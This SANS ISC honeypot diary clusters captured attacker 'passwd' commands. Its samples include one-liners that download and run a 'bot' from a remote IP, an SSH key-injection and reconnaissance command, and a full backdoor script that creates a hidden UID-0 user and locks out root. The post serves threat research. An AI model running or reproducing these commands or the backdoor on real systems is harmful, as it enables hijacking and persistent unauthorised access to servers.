ISC Stormcast For Friday, May 30th, 2025 https://isc.sans.edu/podcastdetail/9472

    Usage of "passwd" Command in DShield Honeypots

    Published: 2025-05-30. Last Updated: 2025-05-30 00:33:50 UTC
    by Jesse La Grew (Version: 1)
    0 comment(s)

    DShield honeypots [1] receive different types of attack traffic and the volume of that traffic can change over time. I've been collecting data from a half dozen honeypots for a little over a year to make comparisons. This data includes:

    • Cowrie logs [2], which contain SSH and telnet attacks
    • Web honeypot logs
    • Firewall logs (iptables)
    • Packet captures using tcpdump

    The highest volume of activity has been for my residentially hosted honeypot. 


    Figure 1: Cowrie log volume by honeypot starting on 4/21/2024, covering approximately 1 year. 

     

    The data is processed with some python scripts to identity data clusters and outliers [3]. This weekend I learned that there is only so much memory you can throw at a probelm before you need to consider a different strategy for analyzing data. While doing clustering of unique commands submitted to my honeypots, my python script crashed. It left me with a problem on what do to next. One of the options that I had was to try and look at a subset of the command data. But what subset?

    Something that was interesting when previously reviewing the data was how many different kinds of password change attempts happened on honeypots. This was one of the reasons that I tried to do clustering in the first place. I wanted to be able to group similar commands, even if there were deviations, such as the username and password attempted for a password change command. 

    A summary of the data volume for submitted commands ("input" field in Cowrie data):

    Unique commands: 536,508
    Unique commands with "passwd" used: 502,846
    Percentage of commands with "passwd" included: 93.73%

    Considering that 94% of the unique commands submitted had something to do with "passwd", I decided to filter those out, which would allow me to cluster the remaining data without any memory errors. That still left how to review this password data and look for similar clusters. My solution was simply to sort the data alphabetically and take every third value for analysis. 

    # sort pandas dataframe using the "input" column
    unique_commands_passwd = unique_commands_passwd.sort_values(by='input')
    
    # take every third value from the dataframe and store it in a new datafame for analysis
    unique_commands_passwd_subset = unique_commands_passwd.iloc[::3, :]


    This allowed me to process the data, but it does have some shortcomings. If there were three adjacent entries that may have been outliers or unique clusters, some of that data would get filtered out. Another option in this case could be to randomly sample the data.

    From this clustering process, 17 clusters emerged. Below are examples from each cluster. 

     

    Command Cluster
    apt update && apt install sudo curl -y && sudo useradd -m -p $(openssl passwd -1 45ukd2Re) system && sudo usermod -aG sudo system 0
    echo "czhou\np2mk0NIg9gRF\np2mk0NIg9gRF\n"|passwd 1
    echo "$#@!QWER$#@!REWQFDSAVCXZ\nougti9mT9YAa\nougti9mT9YAa\n"|passwd 2
    echo "540df7f83845146f0287ff6d2da77900\nE3oSNKfWpq1s\nE3oSNKfWpq1s\n"|passwd 3
    echo "A@0599343813A@0599343813A@0599343813\nymL1D2CvlBlW\nymL1D2CvlBlW\n"|passwd 4
    echo "ItsemoemoWashere2023support\nnZsvXDsxcCEm\nnZsvXDsxcCEm\n"|passwd 5
    echo "root:ddKCQwpLRc9Q"|chpasswd|bash 6
    echo -e "Passw0rd\ndljyjtNPLEwI\ndljyjtNPLEwI"|passwd|bash 7
    echo -e "xmrmining@isntprofitable\n7UrX3NlsBj6i\n7UrX3NlsBj6i"|passwd|bash 8
    echo -e "540df7f83845146f0287ff6d2da77900\nHB15VQlzOyOo\nHB15VQlzOyOo"|passwd|bash 9
    echo -e "A@0599343813A@0599343813A@0599343813\nymL1D2CvlBlW\nymL1D2CvlBlW"|passwd|bash 10
    echo -e "ItsemoemoWashere2023support\nnZsvXDsxcCEm\nnZsvXDsxcCEm"|passwd|bash 11
    lscpu && echo -e "yNHYAVV3\nyNHYAVV3" | passwd && curl https://ipinfo.io/org --insecure -s && free -h && apt 12
    lscpu | grep "CPU(s):                " && echo -e "5XHeUh9gNe76\n5XHeUh9gNe76" | passwd && pkill bin.x86_64; cd /tmp; wget http://45.89.28[.]202/bot; curl -s -O http://45.89.28[.]202/bot; chmod 777 bot; ./bot; 13
    lscpu | grep "CPU(s):                " && echo -e "9nz66TbaU9Y8\n9nz66TbaU9Y8" | passwd && pkill bin.x86_64; cd /tmp; wget http://45.89.28[.]202/bot; curl -s -O http://45.89.28[.]202/bot; chmod 777 bot; ./bot; iptables -A INPUT -s 194.50.16[.]26 -j DROP; iptables -A INPUT -s 85.239.34[.]237 -j DROP; iptables -A INPUT -s 186.2.171[.]36 -j DROP 14
    lscpu | grep "CPU(s):                " && echo -e "Gr7gWzAzts5y\nGr7gWzAzts5y" | passwd && pkill bin.x86_64; cd /tmp; wget http://45.89.28[.]202/bot; curl -s -O http://45.89.28[.]202/bot; chmod 777 bot; ./bot; iptables -A INPUT -s 194.50.16[.]26 -j DROP; iptables -A INPUT -s 85.239.34.237 -j DROP 15
    openssl passwd -1 45ukd2Re 16

    Figure 2: Sampling of commands with "passwd" used for each cluster identified. 

     

    Some of these could probably be clustered better with different feature selections, but it's still a nice grouping. I was a bit more interested in what the outliers looked like (cluster=-1).
     


    Figure 3: Clustering outliers highlighting some more unique entries. 

     

    Commands

    #!/bin/bash
    username="local"
    version="1.3"

    if [ "$EUID" -ne 0 ]; then
      echo "[-] Run as root!"
      exit
    fi

    getent passwd $username > /dev/null
    if [ $? -eq 0 ]; then
      echo "[-] Username $username is already being used!"
      exit
    fi


    <rest of script not included>

    ;             arch_info=$(uname -m);             cpu_count=$(nproc);             gpu_count=$(lspci | egrep -i 'nvidia|amd' | grep -e VGA -e 3D | wc -l);             echo -e "YnEGa37O\nYnEGa37O" | passwd > /dev/null 2>&1;             if [[ ! -d "${HOME}/.ssh" ]]; then;                 mkdir -p "${HOME}/.ssh" >/dev/null 2>&1;             fi;             touch "${HOME}/.ssh/authorized_keys" 2>/dev/null;             if [ $? -eq 0 ]; then;                 echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPkcUOA/x/v3jySnP6HCyjn6QzKILlMl8zB3RKHiw0f14sRESr4SbI/Dp2SokPZxNBJwwa4MUa/hx5bTE/UqNU2+b6b+W+zR9YRl610TFE/mUaFiXgtnmQsrGG6zflB5JjxzWaHl3RRpHhaOe5GdPzf1OhXJv4mCt2VKwcLWIyRQxN3fsrrlCF2Sr3c0SjaYmhAnXtqmednQE+rw== server" > ${HOME}/.ssh/authorized_keys;                 chmod 600 ${HOME}/.ssh/authorized_keys >/dev/null 2>&1;                 chmod 700 ${HOME}/.ssh >/dev/null 2>&1;                 ssh_status="success";             else;                 ssh_status="failed";             fi;             users=$(cat /etc/passwd | grep -v nologin | grep -v /bin/false | grep -v /bin/sync | grep -v /sbin/shutdown | grep -v /sbin/halt | cut -d: -f1 | sort);             echo "$arch_info:$cpu_count:$gpu_count:$users:$ssh_status";         
    ps -HewO lstart ex;echo finalshell_separator;ls --color=never -l /proc/*/exe;echo finalshell_separator;cat /etc/passwd;echo finalshell_separator;ip addr;echo finalshell_separator;pwd;echo finalshell_separator;uname -s;uname -n;uname -r;uname -v;uname -m;uname -p;uname -i;uname -o;echo finalshell_separator;cat /etc/system-release;cat /etc/issue;echo finalshell_separator;cat /proc/cpuinfo;echo finalshell_separator;

    Figure 4: Commands that looked more unique among the cluster outliers. 

     

    These were much more interesting, especially the first one since I was anticipating to find a reference for the script somewhere, but have found anything. The full script here:

    #!/bin/bash
    username="local"
    version="1.3"
    
    if [ "$EUID" -ne 0 ]; then
      echo "[-] Run as root!"
      exit
    fi
    
    getent passwd $username > /dev/null
    if [ $? -eq 0 ]; then
      echo "[-] Username $username is already being used!"
      exit
    fi
    
    echo "[+] SSH Vaccine Script v$version"
    
    os=`lsb_release -is 2>/dev/null || echo unknown`
    cpus=`lscpu 2>/dev/null | egrep "^CPU\(s\):" | sed -e "s/[^0-9]//g" || nproc 2>/dev/null || echo 0`
    
    # Create the backdoor username.
    echo "[!] Create username $username with administrator privilege."
    if [ ! -d /home ]; then
      mkdir /home
      echo "[!] Folder /home was created."
    fi
    passwd=$(timeout 10 cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1)
    h="$pwhash"
    if [ -x "$(command -v openssl)" ]; then
      h=$(echo $passwd | openssl passwd -1 -stdin)
    else
      passwd="$pw"
    fi
    useradd $username -o -u 0 -g 0 -c "local" -m -d /home/$username -s /bin/bash -p "$h"
    
    if ! grep -q "^$username:" /etc/passwd;then
      echo "cannot add user"
      exit
    fi
    
    if [ -x "$(command -v ed)" ]; then
      printf "%s\n" '$m1' wq | ed /etc/passwd -s
      printf "%s\n" '$m1' wq | ed /etc/shadow -s
    else
      lo=$(tail -1 /etc/passwd)
      sed -i "/^$username:/d" /etc/passwd
      sed -i "/^root:.*:0:0:/a $lo" /etc/passwd
    
      lo=$(tail -1 /etc/shadow)
      sed -i "/^$username:/d" /etc/shadow
      sed -i "/^root:/a $lo" /etc/shadow
    fi
    
    echo "[!] Generated password: $passwd"
    echo "[!] Set the profile."
    echo "unset HISTFILE" >> /home/$username/.bashrc
    echo 'export PS1="\[$(tput setaf 2)\][\[$(tput sgr0)\]\[$(tput bold)\]\[$(tput setaf 2)\]\u@\h \W\[$(tput sgr0)\]\[$(tput setaf 2)\]]\[$(tput sgr0)\]\[$(tput bold)\]\[$(tput setaf 7)\]\\$ \[$(tput sgr0)\]"' >> /home/$username/.bashrc
    echo "cd /var/www/httpd" >> /home/$username/.bashrc
    echo "w" >> /home/$username/.bashrc
    echo "################################################################################"
    
    echo "#######################################################################" > /tmp/sshd_config_tmp
    echo "#                    ! ! ! ! ! IMPORTANT ! ! ! ! !                    #" >> /tmp/sshd_config_tmp
    echo "# * Your system has detected a weak password for root account and for #" >> /tmp/sshd_config_tmp
    echo "# security reasons, remote access via SSH has been blocked to prevent #" >> /tmp/sshd_config_tmp
    echo "# unauthorized access. In order to enable again remote access to this #" >> /tmp/sshd_config_tmp
    echo "# machine for root user via SSH, set a new complex password for root  #" >> /tmp/sshd_config_tmp
    echo "# account and delete 'DenyUsers root' line below on this config file. #" >> /tmp/sshd_config_tmp
    echo "# * Restarting the SSH Daemon is required for changes to take effect. #" >> /tmp/sshd_config_tmp
    echo "#                                                                     #" >> /tmp/sshd_config_tmp
    echo "# Bash commands:                                                      #" >> /tmp/sshd_config_tmp
    echo "# passwd root             (Changes your root password).               #" >> /tmp/sshd_config_tmp
    echo "# service sshd restart    (Restart the SSH Daemon).                   #" >> /tmp/sshd_config_tmp
    echo "DenyUsers root" >> /tmp/sshd_config_tmp
    echo "#######################################################################" >> /tmp/sshd_config_tmp
    cat /etc/ssh/sshd_config >> /tmp/sshd_config_tmp
    yes | cp /tmp/sshd_config_tmp /etc/ssh/sshd_config > /dev/null 2>&1
    rm -rf /tmp/sshd_config_tmp
    
    systemctl restart ssh || systemctl restart sshd || service ssh restart || service sshd restart || /etc/init.d/ssh restart || /etc/init.d/sshd restart
    if [ $? -eq 0 ];then
      echo "SSHD restarted"
    else
      echo "SSHD error"
    fi
    
    
    ip=$ip
    echo "[!] IP: $ip"
    
    # Try to get a hostname from IP.
    dns=`getent hosts $ip | awk '{print $2}'`
    if [ -z "$dns" ]
    then
      dns=null
    fi
    echo "[!] DNS: $dns"
    
    # Get country name from IP.
    country=`wget -qO- https://api.db-ip.com/v2/free/$ip/countryName 2>/dev/null || curl -ks -m30 https://api.db-ip.com/v2/free/$ip/countryName 2>/dev/null || echo X`
    
    
    echo "[!] List of usernames on this machine:"
    ls /home | awk '{print $1}'
    
    echo "[!] List of ethernet IP addresses:"
    ip addr show | grep -o "inet [0-9]*\.[0-9]*\.[0-9]*\.[0-9]*" | grep -o "[0-9]*\.[0-9]*\.[0-9]*\.[0-9]*"
    echo "################################################################################"
    
    # Print all info necessary about the machine.
    echo ""
    uname -a
    echo "$username $passwd $h"
    echo "$ip,$dns,root,$username,$passwd,$cpus,$os,$country"
    echo ""
    echo "################################################################################"
    

     

    I have only seen this command once on my Digital Ocean honeypot on 9/13/2024 from 194.169.175.107. I'll dive into the script and some of the other activity from this host in a future diary. 

    The clustering exercise helped to find one item that was unqiue out of over 500,000 values. This was a good lesson for me to find ways to sample data and save memory resources.

     

    [1] https://isc.sans.edu/honeypot.html
    [2] https://github.com/cowrie/cowrie
    [3] https://isc.sans.edu/diary/31050

    --
    Jesse La Grew
    Handler

    0 comment(s)

      Comments


      Diary Archives